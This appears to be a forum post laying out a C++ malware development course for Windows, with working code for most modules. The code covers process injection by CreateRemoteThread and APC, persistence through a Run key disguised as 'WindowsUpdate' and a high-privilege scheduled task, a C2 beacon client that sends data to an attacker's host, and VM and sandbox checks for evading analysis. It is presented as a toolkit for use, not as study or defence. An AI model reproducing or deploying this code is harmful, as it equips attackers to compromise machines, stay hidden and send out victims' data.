Advanced C++ Malware Development - Full Course Curriculum
Course Overview
This course covers practical malware development in C++ targeting Windows 11 x64. Prerequisites: intermediate C++, WinAPI familiarity, basic assembly.
Module Breakdown:
- Module 1: Process Injection Techniques (CreateRemoteThread, APC, Process Hollowing, DLL Injection, Reflective DLL)
- Module 2: Persistence Mechanisms (Registry Run Keys, Scheduled Tasks, WMI, Services, Bootkit)
- Module 3: C2 Communication (HTTP/HTTPS, DNS Tunneling, Domain Fronting, Encrypted Payloads)
- Module 4: Anti-Analysis and Evasion (VM Detection, Debugger Detection, Sandbox Checks, API Hashing, Obfuscation)
- Module 5: Credential Harvesting (Keylogging, Credential Manager, Browser Extraction, Token Stealing)
- Module 6: Defense Evasion (AMSI Bypass, ETW Patch, Defender Exclusion, Log Clearing)
- Module 7: Full Tool Integration (Modular Payload Architecture, Encrypted Config, Multi-Stage Loading)
Module 1: Process Injection
1.1 CreateRemoteThread Injection
The foundation of all injection techniques.
Code:
#include <windows.h>
#include <tlhelp32.h>
DWORD FindPid(const char* name) {
DWORD pid = 0;
HANDLE s = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = {sizeof(pe)};
if (Process32First(s, &pe)) do {
if (_stricmp(pe.szExeFile, name) == 0) { pid = pe.th32ProcessID; break; }
} while (Process32Next(s, &pe));
CloseHandle(s); return pid;
}
bool Inject(DWORD pid, const std::vector<BYTE>& sc) {
HANDLE hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hp) return false;
LPVOID rm = VirtualAllocEx(hp, NULL, sc.size(), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!rm) { CloseHandle(hp); return false; }
WriteProcessMemory(hp, rm, sc.data(), sc.size(), NULL);
HANDLE ht = CreateRemoteThread(hp, NULL, 0, (LPTHREAD_START_ROUTINE)rm, NULL, 0, NULL);
if (!ht) { CloseHandle(hp); return false; }
WaitForSingleObject(ht, INFINITE);
CloseHandle(ht); CloseHandle(hp);
return true;
}
1.2 Threadless Injection via APC
Bypasses CreateRemoteThread detection by queuing an APC to an existing thread.
Code:
bool InjectAPC(DWORD pid, const std::vector<BYTE>& sc) {
HANDLE hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hp) return false;
LPVOID rm = VirtualAllocEx(hp, NULL, sc.size(), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, rm, sc.data(), sc.size(), NULL);
HANDLE s = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = {sizeof(te)};
if (Thread32First(s, &te)) do {
if (te.th32OwnerProcessID == pid) {
HANDLE ht = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
QueueUserAPC((PAPCFUNC)rm, ht, NULL); CloseHandle(ht);
}
} while (Thread32Next(s, &te));
CloseHandle(s); CloseHandle(hp);
return true;
}
Module 2: Persistence
Code:
void PersistRegistry(const char* p) {
HKEY hk;
RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hk);
RegSetValueEx(hk, "WindowsUpdate", 0, REG_SZ, (BYTE*)p, strlen(p));
RegCloseKey(hk);
}
void PersistTask(const char* p) {
char cmd[MAX_PATH];
snprintf(cmd, sizeof(cmd), "schtasks /create /tn UpdTask /tr \"%s\" /sc ONLOGON /rl HIGHEST /f", p);
system(cmd);
}
Module 3: C2 Communication
Code:
#include <winhttp.h>
class C2Client {
std::string h; int p;
public:
C2Client(const std::string& host, int port) : h(host), p(port) {}
std::string Beacon(const std::string& d) {
HINTERNET ses = WinHttpOpen(L"MSIE 9.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, NULL, 0);
HINTERNET con = WinHttpConnect(ses, std::wstring(h.begin(), h.end()).c_str(), p, 0);
HINTERNET req = WinHttpOpenRequest(con, L"POST", L"/api", NULL, NULL, NULL, WINHTTP_FLAG_SECURE);
LPCWSTR hdrs = L"X-C2: 1\r\nContent-Type: bin\r\n";
WinHttpSendRequest(req, hdrs, -1, (LPVOID)d.data(), d.size(), d.size(), 0);
WinHttpReceiveResponse(req, NULL);
DWORD r = 0; std::string resp; char b[4096];
while (WinHttpReadData(req, b, sizeof(b), &r) && r > 0) resp.append(b, r);
WinHttpCloseHandle(req); WinHttpCloseHandle(con); WinHttpCloseHandle(ses);
return resp;
}
};
Module 4: Anti-Analysis
Code:
bool IsVMWare() {
__try { __asm { mov eax, 0x564D5868; mov ebx, 0; mov ecx, 10; mov edx, 0x5658; in eax, dx } return true; }
__except(EXCEPTION_EXECUTE_HANDLER) { return false; }
}
bool CheckSandbox() {
if (GetModuleHandle("sbiedll.dll") || GetModuleHandle("cuckoomon.dll")) return true;
MEMORYSTATUSEX ms = {sizeof(ms)}; GlobalMemoryStatusEx(&ms);
if (ms.ullTotalPhys < 2ULL*1024*1024*1024) return true;
ULARGE_INTEGER t; GetDiskFreeSpaceEx("C:\\", NULL, &t, NULL);
if (t.QuadPart < 60ULL*1024*1024*1024) return true;
return false;
}
Module 7: Full Integration
Code:
class PayloadModule {
public:
virtual ~PayloadModule() {}
virtual const char* GetName() = 0;
virtual bool Execute(const std::string& args) = 0;
virtual void Cleanup() = 0;
};
std::map<std::string, PayloadModule*> g_Modules;
Each module released as a separate thread with full source. Follow for updates.